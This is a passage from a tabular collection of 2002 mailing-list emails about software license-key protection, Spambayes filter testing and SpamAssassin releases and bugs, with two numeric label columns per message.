WZ6/CMUA23HCMZVycd7XD1Q= =V2G8 -----END PGP SIGNATURE-----",0,1 Glynn Clements ,Yannick Gingras ,"Tue, 3 Sep 2002 20:28:06 +0100",Re: Secure Sofware Key,"Yannick Gingras wrote: > I am wondering if there are any techniques to make a CD-Key of the like > unbreakable. Either by giving it a cancelation date and a periodic renewal > from a server or just by using self md5 signature on the resulting > executable. I know it must not be easy because the whole software piracy > problem would be resolved but there must be some way to make it really hard > to break it. Anyone have hints on this issue ? What do you mean by ""CD-Key or the like"" (I presume that ""of"" was a typo)? And what do you mean by ""unbreakable""? You need to be far more explicit about the problem which you wish to solve, and about the constraints involved. Some general points: 1. For a conventional ""CD key"" system, where the actual CDs are mass-produced (where you have many identical CDs), and the entire system has to work offline, you cannot solve the problem of valid keys being ""traded"" (e.g. included along with bootleg copies of the product). If there's an online element involved, you can ""tie"" keys to a specific hardware configuration, as is done (AFAIK) for Windows XP's ""product activation"". 2. Anything which uses a symmetric cipher (or hash) is bound to be vulnerable to reverse engineering of the validation routines within the executable. 3. Ultimately, any software mechanism will be vulnerable to ""cracking"", i.e. modifying the software to disable or circumvent the validation checks. This can only be prevented by the use of trusted hardware (e.g. a Palladium-style system). Most significantly, the data must be supplied in a form which is only accessible by that hardware. If anyone can get at the data in a meaningful (i.e. unencrypted) form, they can extract the useful parts and discard the rest (i.e. any associated protection mechanisms). IOW, you have to ""keep the genie in the bottle"" at all times. If the data can be got at just once (even if it requires the use of dedicated hardware such as a bus analyser), it can then be duplicated and distributed without limit. -- Glynn Clements",0,0 Glynn Clements ,Yannick Gingras ,"Tue, 3 Sep 2002 23:55:47 +0100",Re: Secure Sofware Key,"Yannick Gingras wrote: > > What do you mean by ""CD-Key or the like"" (I presume that ""of"" was a > > typo)? And what do you mean by ""unbreakable""? > > ""of"" was a typo > > Unbreakable would mean here that no one, even previously authorised entity, > could use the system without paying the periodic subscription fee. > > > You need to be far more explicit about the problem which you wish to > > solve, and about the constraints involved. > > It could be an online system that work 95% offline but poll frequently an > offsite server. No mass production CDs, maybe mass personalised d/l like Sun > JDK. > > Nothing is fixed yet, we are looking at the way a software can be protected > from unauthorized utilisation. > > Is the use of ""trusted hardware"" really worth it ? Answering that requires fairly complete knowledge of the business model. But, in all probability: no, it isn't usually worth it. So, it comes down to how difficult you want to make the cracker's job. If the product requires occasional authentication, simple copying won't work; the product has to be cracked. In which case, the issue is whether you're actually going to enter into battle with the crackers, or just make sure that it isn't trivial. A lot of it comes down to your customer base. Teenage kids tend to be more concerned about cost and less concerned about viruses/trojans, and so more willing to use warez. Fortune-500 corporations are likely to view matters differently. > Does it really make it more secure ? Yes; software techniques will only get you so far. Actually, the same is ultimately true for hardware, but cracking hardware is likely to require resources other than just labour. Almost (?) anything can be reverse engineered. But it may be possible to ensure that doing so is uneconomical. > Look at the DVDs. IIRC, CSS was cracked by reverse-engineering a software player; and one where the developers forgot to encrypt the decryption key at that. -- Glynn Clements",0,0 Yannick Gingras ,secprog@securityfocus.com,"Tue, 3 Sep 2002 21:03:40 -0400",Re: Secure Sofware Key,"> > Is the use of ""trusted hardware"" really worth it ? > > Answering that requires fairly complete knowledge of the business > model. But, in all probability: no, it isn't usually worth it. So, it > comes down to how difficult you want to make the cracker's job. > > > Look at the DVDs. > > IIRC, CSS was cracked by reverse-engineering a software player; and > one where the developers forgot to encrypt the decryption key at that. This make me wonder about the relative protection of smart cards. They have an internal procession unit around 4MHz. Can we consider them as trusted hardware ? The ability to ship smart cards periodicaly uppon cashing of a monthly subscription fee would not raise too much the cost of ""renting"" the system. Smart card do their own self encryption. Can they be used to decrypt data needed by the system ? The input of the system could me mangled and the would keep a reference of how long it was in service. This sounds really feasible but I may be totaly wrong. I may also be wrong about the safety of a smart card. What do you think ? -- Yannick Gingras Coder for OBB : Oceangoing Bared Bonanza http://OpenBeatBox.org",0,1 Yannick Gingras ,secprog@securityfocus.com,"Wed, 4 Sep 2002 06:52:07 -0400",Re: Secure Sofware Key,"> Software vendors have been trying since forever to prevent software piracy. > Remember when you had to enter a specific word from a specific page of the > software manual, which was printed on dark maroon paper so that it could > not be photocopied? Didn't work. Propritery encoding of DVD's? Didn't > work. Software that required the use of a registration key? Didn't work. > Windows XP was shipped with this supposedly revolutionary method for > stopping piracy, and what happened? How long was it before the code was > cracked? How many keygens are there for Windows XP? Is someone running a > pirated version of XP really going to use Windows Update to installed a > service pack which breaks their OS? Just because M$ didn't include the > change in their README? Fat chance. My problem is not the same as MS's one, I don't have to deal with millions of identical copy of the same CD with propably millions of working keys. Each download can be unique with a small preparation delay. The key generator is a problem only if multiple keys are usable. If the end users are teenagers, you'll face a huge wall when asking to be 100% of the time online but if we think of something like a health care system that keep track of patients personnal information, the end user will be willing to take every possible steps to protect the system from his own employees to use illegaly. I agree with all of you that mass production CDs will not be safe from piracy in a near futur. That can be seen as a collateral of mass market penetration. BTW thanks for all of you who provided interestiong insight. I'm playing with gdb's dissassembler now but I don't think it's what a typical cracker would use. Any hints on UNIX cracking tools ? Thanks. -- Yannick Gingras Coder for OBB : Onside Brainsick Bract http://OpenBeatBox.org",0,1 Ben Laurie ,Yannick Gingras ,"Wed, 04 Sep 2002 11:47:56 +0100",Re: Secure Sofware Key,"Yannick Gingras wrote: > Is the use of ""trusted hardware"" really worth it ? Does it really make it > more secure ? Look at the DVDs. DVDs don't use trusted hardware. As for whether it is worth it, that depends entirely on what its worth to secure your software. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ ""There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit."" - Robert Woodruff",0,1 whisper@oz.net (David LeBlanc),,"Thu, 5 Sep 2002 15:42:38 -0700",[Spambayes] All but one testing,"Errr... not to be pedantic or anything, but this is called ""omit one testing"" or OOT in the literature IIRC. Helpful in case you're searching for additional information, say at http://citeseer.nj.nec.com/ for instance. David LeBlanc Seattle, WA USA",0,1 nas@python.ca (Neil Schemenauer),,"Thu, 5 Sep 2002 15:49:23 -0700",[Spambayes] all but one testing,"Tim Peters wrote: > I've run no experiments on training set size yet, and won't hazard a guess > as to how much is enough. I'm nearly certain that the 4000h+2750s I've been > using is way more than enough, though. Okay, I believe you. > Each call to learn() and to unlearn() computes a new probability for every > word in the database. There's an official way to avoid that in the first > two loops, e.g. > > for msg in spam: > gb.learn(msg, True, False) > gb.update_probabilities() I did that. It's still really slow when you have thousands of messages. > In each of the last two loops, the total # of ham and total # of spam in the > ""learned"" set is invariant across loop trips, and you *could* break into the > abstraction to exploit that: the only probabilities that actually change > across those loop trips are those associated with the words in msg. Then > the runtime for each trip would be proportional to the # of words in the msg > rather than the number of words in the database. I hadn't tried that. I figured it was better to find out if ""all but one"" testing had any appreciable value. It looks like it doesn't so I'll forget about it. > Another area for potentially fruitful study: it's clear that the > highest-value indicators usually appear ""early"" in msgs, and for spam > there's an actual reason for that: advertising has to strive to get your > attention early. So, for example, if we only bothered to tokenize the first > 90% of a msg, would results get worse? Spammers could exploit this including a large MIME part at the beginning of the message. In pratice that would probably work fine. > sometimes an on-topic message starts well but then rambles. Never. I remember the time when I was ten years old and went down to the fishing hole with my buddies. This guy named Gordon had a really huge head. Wait, maybe that was Joe. Well, no matter. As I recall, it was a hot day and everyone was tired...Human Growth Hormone...girl with huge breasts...blah blah blah......",0,0 nas@python.ca (Neil Schemenauer),,"Thu, 5 Sep 2002 15:56:01 -0700",[Spambayes] All but one testing,"David LeBlanc wrote: > Errr... not to be pedantic or anything, but this is called ""omit one > testing"" or OOT in the literature IIRC. I have no idea. I made up the name. Thanks for the correction. Neil",0,0 tim.one@comcast.net (Tim Peters),,"Thu, 05 Sep 2002 22:14:07 -0400",[Spambayes] test sets?,"[Skip Montanaro] > Any thought to wrapping up your spam and ham test sets for > inclusion w/ the spambayes project? I gave it all the thought it deserved . It would be wonderful to get several people cranking on the same test data, and I'm all in favor of that. OTOH, my Data/ subtree currently has more than 35,000 files slobbering over 134 million bytes -- even if I had a place to put that much stuff, I'm not sure my ISP would let me email it in one msg . Apart from that, there was a mistake very early on whose outcome was that this isn't the data I hoped I was using. I *hoped* I was using a snapshot of only recent msgs (to match the snapshot this way of only spam from 2002), but turns out they actually go back to the last millennium. Greg Ward is currently capturing a stream coming into python.org, and I hope we can get a more modern, and cleaner, test set out of that. But if that stream contains any private email, it may not be ethically possible to make that available. Can you think of anyplace to get a large, shareable ham sample apart from a public mailing list? Everyone's eager to share their spam, but spam is so much alike in so many ways that's the easy half of the data collection problem.",0,0 skip@pobox.com (Skip Montanaro),,"Thu, 5 Sep 2002 21:41:13 -0500",[Spambayes] test sets?,"Tim> I gave it all the thought it deserved . It would be Tim> wonderful to get several people cranking on the same test data, and Tim> I'm all in favor of that. OTOH, my Data/ subtree currently has Tim> more than 35,000 files slobbering over 134 million bytes -- even if Tim> I had a place to put that much stuff, I'm not sure my ISP would let Tim> me email it in one msg . Do you have a dialup or something more modern ? 134MB of messages zipped would probably compress pretty well - under 50MB I'd guess with all the similarity in the headers and such. You could zip each of the 10 sets individually and upload them somewhere. Tim> Can you think of anyplace to get a large, shareable ham sample Tim> apart from a public mailing list? Everyone's eager to share their Tim> spam, but spam is so much alike in so many ways that's the easy Tim> half of the data collection problem. How about random sampling lots of public mailing lists via gmane or something similar, manually cleaning it (distributing that load over a number of people) and then relying on your clever code and your rebalancing script to help further cleanse it? The ""problem"" with the ham is it tends to be much more tied to one person (not just intimate, but unique) than the spam. I save all incoming email for ten days (gzipped mbox format) before it rolls over and disappears. At any one time I think I have about 8,000-10,000 messages. Most of it isn't terribly personal (which I would cull before passing along anyway) and much of it is machine-generated, so would be of marginal use. Finally, it's all ham-n-spam mixed together. Do we call that an omelette or a Denny's Grand Slam? Skip",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 02:09:11 -0400",[Spambayes] all but one testing,"[Tim] > Another area for potentially fruitful study: it's clear that the > highest-value indicators usually appear ""early"" in msgs, and for spam > there's an actual reason for that: advertising has to strive > to get your attention early. So, for example, if we only bothered to > tokenize the first 90% of a msg, would results get worse? [Neil Schemenauer] > Spammers could exploit this including a large MIME part at the beginning > of the message. In pratice that would probably work fine. Note that timtest.py's current tokenizer only looks at decoded text/* MIME sections (or raw message text if no MIME exists); spammers could put megabytes of other crap before that and it wouldn't even be looked at (except that the email package has to parse non-text/* parts well enough to skip over them, and tokens for the most interesting parts of Content-{Type, Disposition, Transfer-Encoding} decorations are generated for all MIME sections). Schemes that remain ignorant of MIME are vulnerable to spammers putting arbitrary amounts of ""nice text"" in the preamble area (after the headers and before the first MIME section), which most mail readers don't display, but which appear first in the file so are latched on to by Graham's scoring scheme. But I don't worry about clever spammers -- I've seen no evidence that they exist <0.5 wink>. Even if they do, the Open Source zoo is such that no particular scheme will gain dominance, and there's no percentage for spammers in trying to fool just one scheme. Even if they did, for the kind of scheme we're using here they can't *know* what ""nice text"" is, not unless they pay a lot of attention to the spam targets and highly tailor their messages to each different one. At that point they'd be doing targeted marketing, and the cost of the game to them would increase enormously. if-you're-out-to-make-a-quick-buck-you-don't-waste-a-second-on-hard- targets-ly y'rs - tim",0,0 anthony@interlink.com.au (Anthony Baxter),,"Fri, 06 Sep 2002 17:59:38 +1000",[Spambayes] test sets?,"I've got a test set here that's the last 3 and a bit years email to info@ekit.com and info@ekno.com - it's a really ugly set of 20,000+ messages, currently broken into 7,000 spam, 9,000 ham, 9,000 currently unclassified. These addresses are all over the 70-some different ekit/ekno/ISIConnect websites, so they get a LOT of spam. As well as the usual spam, it also has customers complaining about credit card charges, it has people interested in the service and asking questions about long distance rates, &c &c &c. Lots and lots of ""commercial"" speech, in other words. Stuff that SA gets pretty badly wrong. I'm currently mangling it by feeding all parts (text, html, whatever else :) into the filters, as well as both a selected number of headers (to, from, content-type, x-mailer), and also a list of (header,count_of_header). This is showing up some nice stuff - e.g. the X-uidl that stoopid spammers blindly copy into their messages. I did have Received in there, but it's out for the moment, as it causes rates to drop. I'm also stripping out HTML tags, except for href="""" and src="""" - there's so so much goodness in them (note that I'm only keeping the contents of the attributes). -- Anthony Baxter It's never too late to have a happy childhood.",0,0 anthony@interlink.com.au (Anthony Baxter),,"Fri, 06 Sep 2002 18:06:57 +1000",[Spambayes] Re: [Python-Dev] Getting started with GBayes testing,">>> Tim Peters wrote > > I've actually got a bunch of spam like that. The text/plain is something > > like > > > > **This is a HTML message** > > > > and nothing else. > > Are you sure that's in a text/plain MIME section? I've seen that many times > myself, but it's always been in the prologue (*between* MIME sections -- so > it's something a non-MIME aware reader will show you). *nod* I know - on my todo is to feed the prologue into the system as well. A snippet, hopefully not enough to trigger the spam-filters. To: into89j@gin.elax.ekorp.com X-Mailer: Microsoft Outlook Express 4.72.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V??D.1712.3 Mime-Version: 1.0 Date: Sun, 28 Jan 2001 23:54:39 -0500 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_007F_01BDF6C7.FABAC1 B0"" Content-Transfer-Encoding: 7bit This is a MIME Message ------=_NextPart_000_007F_01BDF6C7.FABAC1B0 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0080_01BDF6C7. FABAC1B0"" ------=_NextPart_001_0080_01BDF6C7.FABAC1B0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ***** This is an HTML Message ! ***** ------=_NextPart_001_0080_01BDF6C7.FABAC1B0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable",0,0 anthony@interlink.com.au (Anthony Baxter),,"Fri, 06 Sep 2002 18:11:50 +1000",[Spambayes] test sets?,">>> Anthony Baxter wrote > I'm currently mangling it by feeding all parts (text, html, whatever > else :) into the filters, as well as both a selected number of headers > (to, from, content-type, x-mailer), and also a list of > (header,count_of_header). This is showing up some nice stuff - e.g. the > X-uidl that stoopid spammers blindly copy into their messages. The other thing on my todo list (probably tonight's tram ride home) is to add all headers from non-text parts of multipart messages. If nothing else, it'll pick up most virus email real quick. -- Anthony Baxter It's never too late to have a happy childhood.",0,0 Theo Van Dinter ,Justin Mason ,"Mon, 2 Sep 2002 16:40:53 -0400",Re: [SAdev] SpamAssassin v2.40 released (finally)!,"--1sNVjLsmu1MXqwQ/ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 02, 2002 at 06:53:24PM +0100, Justin Mason wrote: > - Razor v2 now supported fully Hmmm... I just upgraded from my modified 2.31 to a slightly modified 2.40 (I add a routine to EvalTests) and get: Sep 2 15:32:24 eclectic spamd[20506]: razor2 check skipped: No such file o= r directory Can't call method ""log"" on unblessed reference at /usr/lib/perl5/site_perl/5.6.1/Razor2/Clien= t/Agent.pm line 211, line 22.=20 I haven't quite figured out why yet, more to come. --=20 Randomly Generated Tagline: ""So on one hand, honey is an amazingly sophisticated and efficient food source. On the other hand it's bee backwash."" - Alton Brown, Good Eats, ""Pantry Raid IV: Comb Alone"" --1sNVjLsmu1MXqwQ/ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9c8zVAuOQUeWAs2MRAm+8AKC24InxYaZY5BJi/u/FI2RQ5hy9jACgi9fM 4jujLQNmvwcQm/8ULtyvaZU= =hKgW -----END PGP SIGNATURE----- --1sNVjLsmu1MXqwQ/--",0,1 =?iso-8859-1?q?Peter=20Dickson?= ,spamassassin-talk@example.sourceforge.net,"Mon, 2 Sep 2002 22:58:33 +0100 (BST)","[SAtalk] ""Broken Pipe"" on initial test",Hi I've just installed SpamAssassin and relevant modules. Just tried the initial test: spamassassin -t < sample-nonspam.txt > nonspam.out and got back: Broken Pipe I've also tried using the -P and --pipe option but to no avail. Any help greatly appreciated. BTW - I'm no great Perl expert! rgds Peter __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk,0,1 Bart Schaefer ,Richard Kimber ,"Mon, 2 Sep 2002 15:00:19 -0700 (PDT)",Re: [SAtalk] SpamAssassin v2.40 released (finally)!,"On Mon, 2 Sep 2002, Richard Kimber wrote: > On Mon, 2 Sep 2002 13:20:46 -0700 (PDT) > Bart Schaefer wrote: > > > If you're using ""fetchmail --mda spamassassin"" or the equivlent, then > > this change means your current setup will no longer work. > > Oh well, I guess there are other anti-spam options out there. Well, (a) you don't HAVE to upgrade, and (b) what you are doing has never been safe in the first place because SpamAssassin 2.31-and-before doesn't do any kind of file locking while it writes to the mailbox and doesn't promise to return the proper failure code on disk-full conditions, etc. If you're still willing to live with (b), all you need is a little shell script to run spamassassin: ---------- #!/bin/sh # call this file ""spamassassin-wrapper"" and chmod +x it { echo ""From $1 `date`"" sed -e '1{/^From /d;}' | spamassassin echo '' } >> $MAIL ---------- And then use fetchmail --mda 'spamassassin-wrapper %F' and you should be all set. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Mon, 02 Sep 2002 15:06:23 -0700",[SACVS] CVS: spamassassin/masses/tenpass - New directory,"Update of /cvsroot/spamassassin/spamassassin/masses/tenpass In directory usw-pr-cvs1:/tmp/cvs-serv26829/tenpass Log Message: Directory /cvsroot/spamassassin/spamassassin/masses/tenpass added to the repository ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Mon, 2 Sep 2002 14:58:47 -0700 (PDT)",[SAdev] [Bug 804] Razor debugging isn't functioning,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=804 jm@jmason.org changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |FIXED ------- Additional Comments From jm@jmason.org 2002-09-02 14:58 ------- ok, now in. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Mon, 2 Sep 2002 15:05:38 -0700 (PDT)",[SAdev] [Bug 805] Razor2 lookups don't work,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=805 ------- Additional Comments From felicity@kluge.net 2002-09-02 15:05 ------- from the sa-dev mailing list: ""ln -s /dev/null ~root/.razor/razor-agent.log"" The question is, why does 2.40 do this whereas my 2.31 doesn't. Hmmm. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """Steven W. Orr"" ",Justin Mason ,"Mon, 2 Sep 2002 19:06:30 -0400 (EDT)",Re: [SAtalk] SpamAssassin v2.40 released (finally)!,"On Mon, 2 Sep 2002, Justin Mason wrote: =>http://spamassassin.org/released/ : => => 508284 Sep 2 18:27 Mail-SpamAssassin-2.40.tar.gz => 561425 Sep 2 18:27 Mail-SpamAssassin-2.40.zip => Not that I'm not grateful, but..... :-) I'd really like to install from a src rpm. Any takers? :-) TIA -- -Time flies like the wind. Fruit flies like a banana. Stranger things have - -happened but none stranger than this. Does your driver's license say Organ -Donor?Black holes are where God divided by zero. Listen to me! We are all- -individuals! What if this weren't a hypothetical question? steveo@syslang.net",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Craig R.Hughes"" ","Tue, 03 Sep 2002 14:38:24 +0100",Re: [SAdev] 2.41 release?,"""Craig R.Hughes"" said: > Seems like a good idea. We might get one of two other issues > raised tomorrow too once US people get back to work tomorrow and > start downloading 2.40 in earnest. yep, I reckon that's likely. BTW I'm hearing reports about problems resolving spamassassin.org. Anyone else noticing this? if it's serious I'll see if I can get Mark Reynolds to add a 2ndary in the US, to go with the primaries in Oz. > > - looks like there may be a razor2 issue I think this is a Razor bug/glitch triggered when file permissions don't allow its own log system to work. At least that's the report I heard on the Razor list in the past... Theo, does it work now that you /dev/null'd the logfile? > > - version number (says ""cvs"") > > - tag tree as ""Rel"" this time too I won't bother tagging with Rel, IMO; I don't think we should rely on the version control system inside our code, so I've just put a line in Mail/SpamAssassin.pm instead. I will of course tag with a release *label* though. --j.",0,0 yyyy@spamassassin.taint.org (Justin Mason),"""zeek"" ","Wed, 04 Sep 2002 16:17:50 +0100",Re: [SAtalk] BUG: spamd --allowed-ips=[127.0.0.1 must be first],"""zeek"" said: > This was thoroughly confusing, but by playing musical chairs with the spamd > args I smashed a bug: > > OK: > spamd --debug --daemonize --auto-whitelist --username=nobody --allowed-ips=1 > 27.0.0.1"" > OK: > spamd --debug --daemonize --auto-whitelist --username=nobody --allowed-ips=1 > 27.0.0.1, 192.168.1.1"" > NOT OK: > spamd --debug --daemonize --auto-whitelist --username=nobody --allowed-ips=1 > 92.168.1.1, 127.0.0.1"" fwiw, I can't reproduce this with spamd --debug --auto-whitelist --allowed-ips=""127.0.0.1"" spamd --debug --auto-whitelist --allowed-ips=""127.0.0.1, 192.168.1.1"" spamd --debug --auto-whitelist --allowed-ips=""192.168.1.1, 127.0.0.1"" which I presume is what you meant (except for the missing args of course). They all seem to work OK. --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Adrian Hill"" ",spamassassin-talk@example.sourceforge.net,"Wed, 4 Sep 2002 16:20:25 +0100",[SAtalk] Re: Custom actions for high scoring spam,"Thank you Lars for your reply to my query. > SA doesnt do any of these. It is probably a function of whatever scanning system/MDA > you're using (amavis, procmail, whatever). What exactly are you using? I am using SpamAssassin as part of the MailScanner package (using sendmail as the MTA). It integrates nicely in there, and shares a configuration file with SA. All very neat. > SA in itself does nothing really. You need a frontend (procmail, amavis, etc) > at some point in the mail delivery chain that can hand over the message > to SA and do whatever other processing you want. I thought that SA rated a message with a certain score, then did a certain action (such as store | deliver | delete) based on the configuration given. I was hoping there were some other actions that I could custom-program in. Again, many thanks, Adrian ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 04 Sep 2002 08:22:42 -0700","[SACVS] CVS: spamassassin/lib/Mail/SpamAssassin Conf.pm,1.91.2.7,1.91.2.8","Update of /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin In directory usw-pr-cvs1:/tmp/cvs-serv17809/lib/Mail/SpamAssassin Modified Files: Tag: b2_4_0 Conf.pm Log Message: added deprecation regarding starting line with space; reserved for future use; also changed sample version_tag Index: Conf.pm =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin/Conf.pm,v retrieving revision 1.91.2.7 retrieving revision 1.91.2.8 diff -b -w -u -d -r1.91.2.7 -r1.91.2.8 --- Conf.pm 29 Aug 2002 14:52:43 -0000 1.91.2.7 +++ Conf.pm 4 Sep 2002 15:22:39 -0000 1.91.2.8 @@ -24,8 +24,11 @@ files, loaded from the /usr/share/spamassassin and /etc/mail/spamassassin directories. -The C<#> character starts a comment, which continues until end of line, -and whitespace in the files is not significant. +The C<#> character starts a comment, which continues until end of line. + +Whitespace in the files is not significant, but please note that starting a +line with whitespace is deprecated, as we reserve its use for multi-line rule +definitions, at some point in the future. Paths can use C<~> to refer to the user's home directory. @@ -257,7 +260,7 @@ eg. - version_tag perkel2 # version=2.40-perkel2 + version_tag myrules1 # version=2.41-myrules1 =cut ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 MAILER-DAEMON@mx1.yipes.com,,"Thu, 05 Sep 2002 04:38:48 -0700",WARNING. Mail Delayed: Re: [SAtalk] [OT] Perl problem and 2.40,"--_===6628399====mx1.yipes.com===_ Content-Type: text/plain This is a warning message only. Your message remains in the server queue, the server will try to send it again. You should not try to resend your message now. Message delivery to 'casimir@tgsnopec.com' delayed SMTP module(domain tgsnopec.com) reports: relay.tgsnopec.com: no response --_===6628399====mx1.yipes.com===_ Content-Type: message/delivery-status Reporting-MTA: dns; mx1.yipes.com Original-Recipient: rfc822;casimir@tgsnopec.com Final-Recipient: rfc822;casimir@tgsnopec.com Action: delayed --_===6628399====mx1.yipes.com===_ Content-Type: text/rfc822-headers Received: from [216.136.171.252] (HELO usw-sf-list2.sourceforge.net) by mx1.yipes.com (CommuniGate Pro SMTP 3.5.1) with ESMTP-TLS id 6627220 for casimir@tgsnopec.com; Thu, 05 Sep 2002 01:35:26 -0700 Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mryq-0000eK-00; Thu, 05 Sep 2002 01:27:12 -0700 Received: from hippo.star.co.uk ([195.216.14.9]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mryb-000529-00 for ; Thu, 05 Sep 2002 01:26:58 -0700 Received: from MATT_LINUX by hippo.star.co.uk via smtpd (for usw-sf-lists.sourceforge.net [216.136.171.198]) with SMTP; 5 Sep 2002 08:17:57 UT Received: (qmail 28723 invoked from network); 3 Sep 2002 08:22:05 -0000 Received: from unknown (HELO startechgroup.co.uk) (10.2.100.178) by matt?dev.int.star.co.uk with SMTP; 3 Sep 2002 08:22:05 -0000 Message-ID: <3D77146F.1000603@startechgroup.co.uk> From: Matt Sergeant User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020901 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ""Rose, Bobby"" CC: Justin Mason , spamassassin-talk@lists.sourceforge.net Subject: Re: [SAtalk] [OT] Perl problem and 2.40 released References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: spamassassin-talk-admin@example.sourceforge.net Errors-To: spamassassin-talk-admin@example.sourceforge.net X-BeenThere: spamassassin-talk@example.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: Talk about SpamAssassin List-Unsubscribe: , List-Archive: X-Original-Date: Thu, 05 Sep 2002 09:23:11 +0100 Date: Thu, 05 Sep 2002 09:23:11 +0100 --_===6628399====mx1.yipes.com===_--",0,1 """Malte S. Stretz"" ",spamassassin-talk@example.sourceforge.net,"Thu, 5 Sep 2002 13:18:24 +0200",Re: [SAtalk] PerMsgStatus.pm error?,"On Thursday 05 September 2002 04:10 CET Mike Burger wrote: > Just loaded up SA 2.40 from Theo's RPMs...spamassassin-2.40-1 and > perl-Mail-SpamAssassin-2.40-1 on a RH 7.1 system with perl 5.6.1 running > on it. > > I'm getting messages that seem to indicate that SA can't find > PerMsgStatus, like so: > > Sep 4 21:01:59 burgers spamd[17579]: Failed to run CTYPE_JUST_HTML > SpamAssassin test, skipping: ^I(Can't locate object method > ""check_for_content_type_just_html"" via package > ""Mail::SpamAssassin::PerMsgStatus"" (perhaps you forgot to load > ""Mail::SpamAssassin::PerMsgStatus""?) at > /usr/lib/perl5/site_perl/5.6.1/Mail/SpamAssassin/PerMsgStatus.pm line > 1814, line 21. ) > >[...] > > Any ideas? Perl doesn't complain that it can't find PerMsgStatus.pm but the function check_for_content_type_just_html(). Do you probably have some old rules files still lurking around? This test existed in 2.31 but is gone/was renamed with 2.40. Malte -- -- Coding is art. -- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Larry Rosenman ,spamassassin-talk@example.sourceforge.net,05 Sep 2002 06:34:55 -0500,[SAtalk] www.spamassassin.org: giving a HTTP/1.1 error 